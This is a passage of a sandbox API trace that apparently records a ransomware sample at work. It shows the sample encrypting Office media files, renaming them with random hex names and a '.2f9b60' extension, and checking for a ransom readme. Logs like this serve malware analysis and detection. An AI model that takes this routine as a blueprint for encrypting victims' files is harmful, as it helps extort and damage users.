returned 2 [0102.299] RtlInitAnsiString (in: DestinationString=0x1f7dfa28, SourceString="a24c97755c86aa68eed9d9b1dcd9a830093863614fd8c0e9" | out: DestinationString="a24c97755c86aa68eed9d9b1dcd9a830093863614fd8c0e9") [0102.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f7df9f8, SourceString="a24c97755c86aa68eed9d9b1dcd9a830093863614fd8c0e9", AllocateDestinationString=1 | out: DestinationString="a24c97755c86aa68eed9d9b1dcd9a830093863614fd8c0e9") returned 0x0 [0102.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9630 [0102.300] wcscat (in: _Dest=0x4205cc90, _Source="a24c97755c86" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86" [0102.300] wcscat (in: _Dest=0x4205cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86.2f9b60" [0102.300] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86.2f9b60", NtPathName=0x1f7df9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a24c97755c86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c450 [0105.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c450) returned 1 [0105.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506ea0) returned 1 [0105.891] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x1f7dfa38, FileInformation=0x1f7dfa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f7dfa38, FileInformation=0x1f7dfa48) returned 0x0 [0105.891] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x1f7dfa38, FileInformation=0x1f7dfa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0105.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0105.899] FlushFileBuffers (hFile=0x15e0) returned 1 [0105.907] CloseHandle (hObject=0x15e0) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4c80 [0105.909] wcscpy (in: _Dest=0x202a4c80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.909] wcscat (in: _Dest=0x202a4c80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4c80) returned 1 [0106.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784a30) returned 1 Thread: id = 765 os_tid = 0x12d8 [0098.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf")) returned 0x20 [0099.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF", dwFileAttributes=0x20) returned 1 [0099.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15dc [0099.713] GetFileSizeEx (in: hFile=0x15dc, lpFileSize=0x20e8fc40 | out: lpFileSize=0x20e8fc40*=36548) returned 1 [0099.713] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x8ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.713] ReadFile (in: hFile=0x15dc, lpBuffer=0x20e8fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20e8fc08, lpOverlapped=0x0 | out: lpBuffer=0x20e8fbc0*, lpNumberOfBytesRead=0x20e8fc08*=0x4, lpOverlapped=0x0) returned 1 [0100.181] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0100.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263080 [0100.181] NtQuerySystemTime (in: CurrentTime=0x20e8fb00 | out: CurrentTime=0x20e8fb00*=132462177056974000) returned 0x0 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x429f5c38 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x5cf27c30 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x5c9a2973 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x15712922 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0xa9f733d [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x4341442 [0100.181] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x2b7b3bc9 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x19120d81 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x384ef3b7 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x15eb7e14 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x14be40b2 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x48991566 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x12dfde94 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x2af7b646 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x9902646 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x6ca9b177 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x7f86707f [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x7cc95169 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x67778151 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x7dcfd261 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x218dd7f0 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x1eed2bea [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x22e531a7 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x7ec84017 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x959b037 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x7886cc92 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x563ae5c0 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x2a12dbb0 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x5e3f637e [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x3c773546 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x276334e0 [0100.182] RtlRandomEx (in: Seed=0x20e8faf0 | out: Seed=0x20e8faf0) returned 0x88c16c4 [0100.195] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.195] ReadFile (in: hFile=0x15dc, lpBuffer=0x20179560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e8fb60, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x20e8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0100.424] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0100.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638c0 [0100.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638c0) returned 1 [0100.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0100.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638c0 [0100.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0100.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638f0) returned 1 [0100.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0100.427] WriteFile (in: hFile=0x15dc, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e8fb60, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x20e8fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0100.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0100.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0100.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263e60 [0100.961] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.961] WriteFile (in: hFile=0x15dc, lpBuffer=0x4205e0b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20e8fc10, lpOverlapped=0x0 | out: lpBuffer=0x4205e0b0*, lpNumberOfBytesWritten=0x20e8fc10*=0x10a, lpOverlapped=0x0) returned 1 [0105.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0105.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0105.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0105.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0105.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0105.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.311] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="e3") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1c") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="37") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="52") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="a9") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="24") returned 2 [0105.311] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="3b") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="71") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="24") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="08") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="84") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="40") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f6") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="ed") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="7e") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="84") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="8b") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="8a") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="b9") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="b6") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="04") returned 2 [0105.312] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="5f") returned 2 [0105.312] RtlInitAnsiString (in: DestinationString=0x20e8fc88, SourceString="e31cac3752a9ec243b7124088440f6ed7e848b8ab9b6045f" | out: DestinationString="e31cac3752a9ec243b7124088440f6ed7e848b8ab9b6045f") [0105.312] RtlAnsiStringToUnicodeString (in: DestinationString=0x20e8fc58, SourceString="e31cac3752a9ec243b7124088440f6ed7e848b8ab9b6045f", AllocateDestinationString=1 | out: DestinationString="e31cac3752a9ec243b7124088440f6ed7e848b8ab9b6045f") returned 0x0 [0105.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5c50 [0105.313] wcscat (in: _Dest=0x204ffb90, _Source="e31cac3752a9" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9" [0105.313] wcscat (in: _Dest=0x204ffb90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9.2f9b60" [0105.313] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9.2f9b60", NtPathName=0x20e8fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\e31cac3752a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d210 [0106.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0106.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0106.056] NtQueryInformationFile (in: FileHandle=0x15dc, IoStatusBlock=0x20e8fc98, FileInformation=0x20e8fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20e8fc98, FileInformation=0x20e8fca8) returned 0x0 [0106.056] NtSetInformationFile (FileHandle=0x15dc, IoStatusBlock=0x20e8fc98, FileInformation=0x20e8fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb90) returned 1 [0106.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5c50) returned 1 [0106.091] FlushFileBuffers (hFile=0x15dc) returned 1 [0106.092] CloseHandle (hObject=0x15dc) returned 1 [0106.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a41d0 [0106.093] wcscpy (in: _Dest=0x202a41d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0106.093] wcscat (in: _Dest=0x202a41d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0106.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a41d0) returned 1 [0107.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784880) returned 1 Thread: id = 766 os_tid = 0x12dc [0098.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf")) returned 0x20 [0099.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF", dwFileAttributes=0x20) returned 1 [0099.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d8 [0099.711] GetFileSizeEx (in: hFile=0x15d8, lpFileSize=0x2135f940 | out: lpFileSize=0x2135f940*=3934) returned 1 [0099.711] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0xf5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.711] ReadFile (in: hFile=0x15d8, lpBuffer=0x2135f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2135f908, lpOverlapped=0x0 | out: lpBuffer=0x2135f8c0*, lpNumberOfBytesRead=0x2135f908*=0x4, lpOverlapped=0x0) returned 1 [0099.818] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0099.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0099.818] NtQuerySystemTime (in: CurrentTime=0x2135f800 | out: CurrentTime=0x2135f800*=132462177053386000) returned 0x0 [0099.818] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x5569989f [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x68cb7824 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x503edf12 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x296acccf [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x4b5b1af4 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x538600a2 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x1cf671ba [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x60c6532d [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x4b1781f3 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x6be85ee9 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x1355f435 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0xd2c739f [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x2e1aa32a [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0xb0e9612 [0099.819] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0xb915542 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x260080a8 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x2e2fa02e [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x3dd225ac [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x72517a64 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x126ba69a [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x2fd36d93 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x4184aaf2 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x3290f4f2 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x6e1a042 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x358ed795 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x484c8561 [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x4e5ef7fd [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x764564ab [0099.820] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x5160940a [0099.821] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x843638e [0099.821] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x538dfc28 [0099.821] RtlRandomEx (in: Seed=0x2135f7f0 | out: Seed=0x2135f7f0) returned 0x4ec2aa62 [0100.756] ReadFile (in: hFile=0x15d8, lpBuffer=0x1ce7f1d0, nNumberOfBytesToRead=0xf5e, lpNumberOfBytesRead=0x2135f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesRead=0x2135f7f0*=0xf5e, lpOverlapped=0x0) returned 1 [0100.756] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.756] WriteFile (in: hFile=0x15d8, lpBuffer=0x1ce95a30*, nNumberOfBytesToWrite=0xf5e, lpNumberOfBytesWritten=0x2135f7f4, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesWritten=0x2135f7f4*=0xf5e, lpOverlapped=0x0) returned 1 [0101.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0101.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0101.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0101.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0101.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0101.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0101.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0101.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f7f0 [0101.822] SetFilePointerEx (in: hFile=0x15d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.822] WriteFile (in: hFile=0x15d8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2135f910, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2135f910*=0x10a, lpOverlapped=0x0) returned 1 [0102.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0102.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a00) returned 1 [0102.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0102.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0102.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0102.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.249] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="a5") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="46") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="1a") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="e7") returned 2 [0102.249] sprintf (in: 